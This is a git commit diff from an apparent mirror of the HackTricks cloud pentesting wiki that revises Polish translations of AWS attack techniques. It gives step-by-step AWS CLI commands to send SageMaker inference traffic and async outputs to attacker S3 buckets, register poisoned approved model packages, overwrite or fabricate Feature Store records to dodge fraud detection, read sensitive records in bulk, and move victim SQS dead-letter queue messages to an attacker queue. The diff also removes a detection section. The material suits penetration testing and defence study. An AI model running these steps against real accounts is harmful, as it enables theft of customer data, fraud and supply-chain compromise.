mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers
This commit is contained in:
+39
-38
@@ -4,16 +4,16 @@
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Nadużyj zarządzania endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego S3 bucketu bez modyfikacji modelu lub kontenera. Wykorzystuje zero/low‑downtime rolling update i wymaga jedynie uprawnień do zarządzania endpointem.
|
||||
Wykorzystaj zarządzanie endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego bucketu S3 bez modyfikowania modelu ani kontenera. Wykorzystuje rolling update o zerowym/małym przestoju i wymaga jedynie uprawnień do zarządzania endpointami.
|
||||
|
||||
### Wymagania
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (lub użyj istniejącego bucketu w tym samym koncie)
|
||||
- Opcjonalnie (jeśli używasz SSE‑KMS): `kms:Encrypt` na wybranym CMK
|
||||
- Cel: Istniejący InService real‑time endpoint w tym samym koncie/regionie
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: istniejący InService real‑time endpoint w tym samym koncie/regionie
|
||||
|
||||
### Kroki
|
||||
1) Zidentyfikuj endpoint o statusie InService i zbierz aktualne warianty produkcyjne
|
||||
### Steps
|
||||
1) Zidentyfikuj endpoint InService i zbierz aktualne warianty produkcyjne
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Przygotuj attacker S3 jako miejsce docelowe dla przechwyceń
|
||||
2) Przygotuj docelowe miejsce attacker S3 dla captures
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Utwórz nowy EndpointConfig, który zachowuje te same variants, ale włącza DataCapture do attacker bucket
|
||||
3) Utwórz nowy EndpointConfig, który zachowuje te same warianty, ale włącza DataCapture do attacker bucket
|
||||
|
||||
Uwaga: Użyj jawnych content types, które spełniają walidację CLI.
|
||||
Uwaga: Użyj jawnych typów treści, które spełniają walidację CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,37 +54,37 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Zastosuj nową konfigurację przy użyciu rolling update (minimalne/brak przestojów)
|
||||
4) Zastosuj nową konfigurację za pomocą rolling update (minimalne/brak przestojów)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Wygeneruj co najmniej jedno wywołanie inferencyjne (opcjonalne, jeśli istnieje ruch w czasie rzeczywistym)
|
||||
5) Wygeneruj co najmniej jedno wywołanie inferencji (opcjonalne, jeśli istnieje ruch na żywo)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Zweryfikuj przechwycone pliki w S3 atakującego
|
||||
6) Zweryfikuj captures w attacker S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impact
|
||||
- Pełna eksfiltracja ładunków żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
|
||||
- Brak zmian w obrazie modelu/container i jedynie zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę wykradania danych przy minimalnym zakłóceniu operacyjnym.
|
||||
### Wpływ
|
||||
- Pełna eksfiltracja danych żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
|
||||
- Brak zmian w obrazie modelu/kontenera i tylko zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę kradzieży danych przy minimalnym zakłóceniu operacyjnym.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Wykorzystaj zarządzanie endpointem do przekierowania asynchronicznych wyników inferencji do kontrolowanego przez atakującego S3 bucketu poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To eksfiltrowanie przewidywań modelu (oraz wszelkich przekształconych wejść dodanych przez container) bez modyfikowania modelu/container.
|
||||
Wykorzystaj mechanizmy zarządzania endpointem, aby przekierować asynchroniczne wyjścia inferencji do kontrolowanego przez atakującego S3 bucket poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To umożliwia eksfiltrację predykcji modelu (oraz dowolnych przekształconych wejść zawartych przez kontener) bez modyfikacji modelu/obrazu kontenera.
|
||||
|
||||
### Requirements
|
||||
### Wymagania
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucketu (poprzez rolę wykonawczą modelu lub liberalną politykę bucketu)
|
||||
- Target: An InService endpoint where asynchronous invocations are (or will be) used
|
||||
- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucket (poprzez rolę wykonawczą modelu lub permisywną politykę bucketu)
|
||||
- Cel: endpoint w stanie InService, w którym wykorzystywane są (lub będą) wywołania asynchroniczne
|
||||
|
||||
### Steps
|
||||
### Kroki
|
||||
1) Zbierz bieżące ProductionVariants z docelowego endpointu
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
@@ -92,13 +92,13 @@ EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Utwórz attacker bucket (upewnij się, że model execution role ma uprawnienie PutObject do niego)
|
||||
2) Utwórz attacker bucket (upewnij się, że model execution role może wykonać PutObject do niego)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Sklonuj EndpointConfig i przechwyć wyjścia AsyncInference do bucketu atakującego
|
||||
3) Sklonuj EndpointConfig i hijack AsyncInference outputs do attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Wywołaj async invocation i zweryfikuj, że obiekty trafiają do attacker S3
|
||||
4) Wyzwól async invocation i zweryfikuj, że obiekty trafiają do attacker S3
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -116,21 +116,21 @@ sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Wpływ
|
||||
- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do S3 kontrolowanego przez atakującego, umożliwiając covert exfiltration of predictions i potencjalnie wrażliwych pre/post-processed inputs generowanych przez container, bez zmiany model code ani image i przy minimalnym/braku downtime.
|
||||
### Impact
|
||||
- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do kontrolowanego przez atakującego S3, umożliwiając ukrytą eksfiltrację predykcji oraz potencjalnie wrażliwych danych wejściowych przed i po przetworzeniu przez kontener, bez zmiany kodu modelu ani obrazu oraz przy minimalnym lub żadnym czasie przestoju.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
## SageMaker Model Registry — wstrzyknięcie w łańcuch dostaw przez CreateModelPackage(Approved)
|
||||
|
||||
Jeśli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na attacker-controlled container image i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli do endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego z uprawnieniami service’s execution roles. Eksponowanie cross-account może być nasilone przez permissive ModelPackageGroup resource policy.
|
||||
Jeżeli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na obraz kontenera kontrolowany przez atakującego i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli na endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego w kontekście ról wykonawczych usługi. Ekspozycja między kontami może zostać zwiększona przez zbyt liberalną politykę zasobu ModelPackageGroup.
|
||||
|
||||
### Wymagania
|
||||
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Opcjonalne (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Dostęp do odczytu do wskazanego ModelDataUrl (lub hostować attacker-controlled artifacts)
|
||||
- Target: Model Package Group, które downstream automation monitoruje pod kątem Approved versions
|
||||
### Requirements
|
||||
- IAM (minimum, aby zatruć istniejącą grupę): `sagemaker:CreateModelPackage` na docelowym ModelPackageGroup
|
||||
- Opcjonalne (aby utworzyć grupę, jeśli jej nie ma): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: dostęp do odczytu do odwołanego ModelDataUrl (lub hostowanie artefaktów kontrolowanych przez atakującego)
|
||||
- Cel: Model Package Group, który automatyzacja w kolejnych etapach obserwuje pod kątem Approved wersji
|
||||
|
||||
### Kroki
|
||||
### Steps
|
||||
1) Ustaw region i utwórz/znajdź docelowy Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Zarejestruj złośliwą (tutaj nieszkodliwą) wersję Approved model package odwołującą się do publicznego obrazu AWS DLC
|
||||
3) Zarejestruj złośliwą (tutaj nieszkodliwą) zatwierdzoną wersję pakietu modelu odwołującą się do publicznego obrazu AWS DLC
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Zweryfikuj, że nowa zatwierdzona wersja istnieje
|
||||
4) Zweryfikuj, że nowa wersja Approved istnieje
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Wpływ
|
||||
- Zatrucie Model Registry przez Approved wersję, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają Approved modele, mogą pobrać i uruchomić obraz atakującego, co skutkuje wykonaniem kodu z uprawnieniami ról endpoint/training.
|
||||
- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może zostać wywołane cross-account.
|
||||
- Zatruj Model Registry za pomocą wersji Approved, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają modele Approved, mogą pobrać i uruchomić obraz atakującego, co daje wykonanie kodu w kontekście ról endpoint/training.
|
||||
- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może być przeprowadzone pomiędzy kontami.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Abuse `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać bieżące wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Nie wymaga to dostępu do modeli ani endpoints.
|
||||
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Do tego nie jest wymagany dostęp do modeli ani endpoints.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+22
-34
@@ -1,17 +1,19 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać aktualne wartości cech używane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy i exfiltrate poufne dane ML. Nie wymaga to dostępu do modeli ani endpoints, przez co jest to bezpośredni atak na warstwę danych.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech używane przez inference w czasie rzeczywistym. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Nie wymaga to dostępu do modeli ani endpointów.
|
||||
|
||||
## Wymagania
|
||||
- Uprawnienia: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Cel: Feature Group z włączonym OnlineStore (zwykle backing real-time inference)
|
||||
- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelami
|
||||
- Cel: Feature Group z włączonym OnlineStore (zazwyczaj wspierający inference w czasie rzeczywistym)
|
||||
- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelem
|
||||
|
||||
## Kroki
|
||||
|
||||
### Rozpoznanie
|
||||
|
||||
1) Wypisz Feature Group z włączonym OnlineStore
|
||||
1) Wypisz Feature Groups z włączonym OnlineStore
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -19,25 +21,25 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Opisz docelowy Feature Group, aby zrozumieć jego schemat
|
||||
2) Opisz docelowy Feature Group, aby zrozumieć jego schemat.
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do tworzenia poprawnych rekordów.
|
||||
Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do utworzenia poprawnych rekordów.
|
||||
|
||||
### Scenariusz ataku 1: Data Poisoning (Overwrite Existing Records)
|
||||
### Scenariusz Ataku 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) Odczytaj aktualny prawidłowy rekord
|
||||
1) Odczytaj bieżący prawidłowy rekord
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Wprowadź złośliwe wartości do rekordu, używając inline parametru `--record`
|
||||
2) Zatruj rekord złośliwymi wartościami, używając parametru inline `--record`
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Zweryfikuj zatrute dane
|
||||
3) Zweryfikuj poisoned data
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Wpływ**: ML models korzystające z tego feature będą teraz widzieć `risk_score=0.99` dla uczciwego użytkownika, co może zablokować jego transakcje lub usługi.
|
||||
**Wpływ**: Modele ML wykorzystujące tę cechę zobaczą teraz `risk_score=0.99` dla prawidłowego użytkownika, co może zablokować jego transakcje lub usługi.
|
||||
|
||||
### Scenariusz ataku 2: Złośliwe wstrzyknięcie danych (Utworzenie fałszywych rekordów)
|
||||
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Wstrzyknij całkowicie nowe rekordy ze zmanipulowanymi cechami, aby obejść mechanizmy bezpieczeństwa:
|
||||
Wstrzyknij zupełnie nowe rekordy ze zmanipulowanymi cechami, aby ominąć mechanizmy kontroli bezpieczeństwa:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Zweryfikuj wstrzyknięcie:
|
||||
Zweryfikuj injection:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może wykonywać wysokowartościowe transakcje oszukańcze bez wywoływania wykrywania oszustw.
|
||||
**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może dokonywać wysokokwotowych oszukańczych transakcji, nie uruchamiając systemu wykrywania oszustw.
|
||||
|
||||
### Scenariusz ataku 3: Eksfiltracja danych wrażliwych
|
||||
|
||||
Odczytaj wiele rekordów, aby wydobyć poufne cechy i zprofilować zachowanie modelu:
|
||||
Odczytaj wiele rekordów, aby wydobyć poufne cechy i opracować profil zachowania modelu:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Wpływ**: Poufne cechy (wyniki ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu.
|
||||
**Wpływ**: Poufne cechy (oceny ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu.
|
||||
|
||||
### Tworzenie Feature Group do testów/demonstracji (opcjonalne)
|
||||
### Tworzenie testowego/demonstracyjnego Feature Group (opcjonalne)
|
||||
|
||||
Jeśli potrzebujesz utworzyć testową Feature Group:
|
||||
Jeśli potrzebujesz utworzyć testowy Feature Group:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
@@ -141,20 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Wykrywanie
|
||||
|
||||
Monitoruj CloudTrail pod kątem podejrzanych wzorców:
|
||||
- `PutRecord` zdarzenia od nietypowych podmiotów IAM lub adresów IP
|
||||
- Wysoka częstotliwość wywołań `PutRecord` lub `GetRecord`
|
||||
- `PutRecord` z anomalicznymi wartościami cech (np. risk_score poza normalnym zakresem)
|
||||
- Masowe operacje `GetRecord` wskazujące na masową eksfiltrację
|
||||
- Dostęp poza normalnymi godzinami pracy lub z nieoczekiwanych lokalizacji
|
||||
|
||||
Wdróż wykrywanie anomalii:
|
||||
- Walidacja wartości cech (np. risk_score musi mieścić się w zakresie 0.0-1.0)
|
||||
- Analiza wzorców zapisu (częstotliwość, czas, tożsamość źródła)
|
||||
- Wykrywanie dryfu danych (gwałtowne zmiany w rozkładach cech)
|
||||
|
||||
## References
|
||||
## Źródła
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
+44
-40
@@ -1,53 +1,55 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
## Description
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Wykorzystaj zadania przenoszenia wiadomości SQS do kradzieży wszystkich zgromadzonych wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego przy użyciu `sqs:StartMessageMoveTask`. Technika ta wykorzystuje legalną funkcję odzyskiwania wiadomości w AWS, aby eksfiltrację wrażliwych danych zgromadzonych w DLQ przez dłuższy czas.
|
||||
## Opis
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
Wykorzystaj zadania przenoszenia wiadomości SQS, aby ukraść wszystkie zgromadzone wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego za pomocą `sqs:StartMessageMoveTask`. Ta technika wykorzystuje legalną funkcję odzyskiwania wiadomości AWS do eksfiltracji wrażliwych danych, które z czasem zgromadziły się w DLQ.
|
||||
|
||||
Kolejka Dead-Letter to specjalna kolejka SQS, do której automatycznie trafiają wiadomości, gdy główna aplikacja nie zdoła ich poprawnie przetworzyć. Te nieudane wiadomości często zawierają:
|
||||
- Wrażliwe dane aplikacji, których nie udało się przetworzyć
|
||||
- Szczegóły błędów i informacje do debugowania
|
||||
## Co to jest Dead-Letter Queue (DLQ)?
|
||||
|
||||
Dead-Letter Queue to specjalna kolejka SQS, do której wiadomości są automatycznie wysyłane, gdy nie uda się ich poprawnie przetworzyć przez główną aplikację. Te nieudane wiadomości często zawierają:
|
||||
- Wrażliwe dane aplikacji, które nie mogły zostać przetworzone
|
||||
- Szczegóły błędów i informacje pomocne w debugowaniu
|
||||
- Dane osobowe (PII)
|
||||
- Tokeny API, poświadczenia lub inne sekrety
|
||||
- Krytyczne dla biznesu dane transakcyjne
|
||||
|
||||
DLQ pełnią rolę „cmentarza” dla nieudanych wiadomości, co czyni je wartościowym celem, ponieważ z czasem gromadzą wrażliwe dane, których aplikacje nie obsłużyły.
|
||||
DLQ działają jak "cmentarz" dla nieudanych wiadomości, przez co są cennym celem — gromadzą wrażliwe dane przez długi czas, których aplikacje nie były w stanie obsłużyć.
|
||||
|
||||
## Attack Scenario
|
||||
## Scenariusz ataku
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** przetwarza zamówienia klientów za pomocą SQS
|
||||
2. **Niektóre zamówienia nie przechodzą** (problemy z płatnością, stanem magazynowym itp.) i trafiają do DLQ
|
||||
**Przykład z prawdziwego świata:**
|
||||
1. **Aplikacja e-commerce** przetwarza zamówienia klientów przez SQS
|
||||
2. **Niektóre zamówienia się nie powiodły** (problemy z płatnością, brak towaru itp.) i trafiają do DLQ
|
||||
3. **DLQ gromadzi** tygodnie/miesiące nieudanych zamówień zawierających dane klientów: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Atakujący uzyskuje dostęp** do poświadczeń AWS z uprawnieniami SQS
|
||||
4. **Atakujący zdobywa dostęp** do poświadczeń AWS z uprawnieniami do SQS
|
||||
5. **Atakujący odkrywa**, że DLQ zawiera tysiące nieudanych zamówień z wrażliwymi danymi
|
||||
6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (powolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki
|
||||
6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (wolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki
|
||||
7. **Atakujący wydobywa** wszystkie historyczne wrażliwe dane w jednej operacji
|
||||
|
||||
## Requirements
|
||||
- Kolejka źródłowa musi być skonfigurowana jako DLQ (odniesiona przez przynajmniej jedną politykę RedrivePolicy innej kolejki).
|
||||
- Uprawnienia IAM (uruchamiane jako skompromitowany principal ofiary):
|
||||
## Wymagania
|
||||
- Kolejka źródłowa musi być skonfigurowana jako DLQ (referencja w przynajmniej jednej polityce RedrivePolicy innej kolejki).
|
||||
- Uprawnienia IAM (działające jako skompromitowany podmiot ofiary):
|
||||
- Na DLQ (źródło): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki zezwalająca `sqs:SendMessage` z principal ofiary). Dla celów w tym samym koncie zazwyczaj dozwolone domyślnie.
|
||||
- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, a na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki pozwalająca na `sqs:SendMessage` z konta podmiotu ofiary). Dla kolejek w tym samym koncie zwykle jest to dozwolone domyślnie.
|
||||
- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, oraz na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
Eksfiltracja wrażliwych payloadów zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, payloady aplikacji) z dużą prędkością przy użyciu natywnych API SQS. Działa cross-account, jeśli polityka kolejki docelowej pozwala na `SendMessage` od principal ofiary.
|
||||
## Wpływ
|
||||
Eksfiltracja wrażliwych ładunków zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, ładunki aplikacji) z dużą szybkością przy użyciu natywnych API SQS. Działa międzykontowo, jeśli polityka kolejki docelowej pozwala na `SendMessage` od podmiotu ofiary.
|
||||
|
||||
## How to Abuse
|
||||
## Jak wykorzystać
|
||||
|
||||
- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie referencjonowana jako DLQ przez jakąś kolejkę (dowolna kolejka).
|
||||
- Utwórz lub wybierz kolejkę kontrolowaną przez atakującego i zdobądź jej ARN.
|
||||
- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do twojej kolejki docelowej.
|
||||
- Monitoruj postęp lub anuluj w razie potrzeby.
|
||||
- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie używana jako DLQ przez jakąś kolejkę (dowolna kolejka).
|
||||
- Utwórz lub wybierz kontrolowaną przez atakującego kolejkę docelową i zdobądź jej ARN.
|
||||
- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do swojej kolejki docelowej.
|
||||
- Monitoruj postęp lub anuluj zadanie w razie potrzeby.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Atakujący skompromitował poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającą nieudane próby przetwarzania zamówień klientów.
|
||||
**Scenariusz**: Atakujący przejął poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającym nieudane próby przetwarzania zamówień klientów.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
1) **Odkryj i przeanalizuj DLQ ofiary**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Utwórz docelową kolejkę kontrolowaną przez atakującego**
|
||||
2) **Utwórz kontrolowaną przez atakującego kolejkę docelową**
|
||||
```bash
|
||||
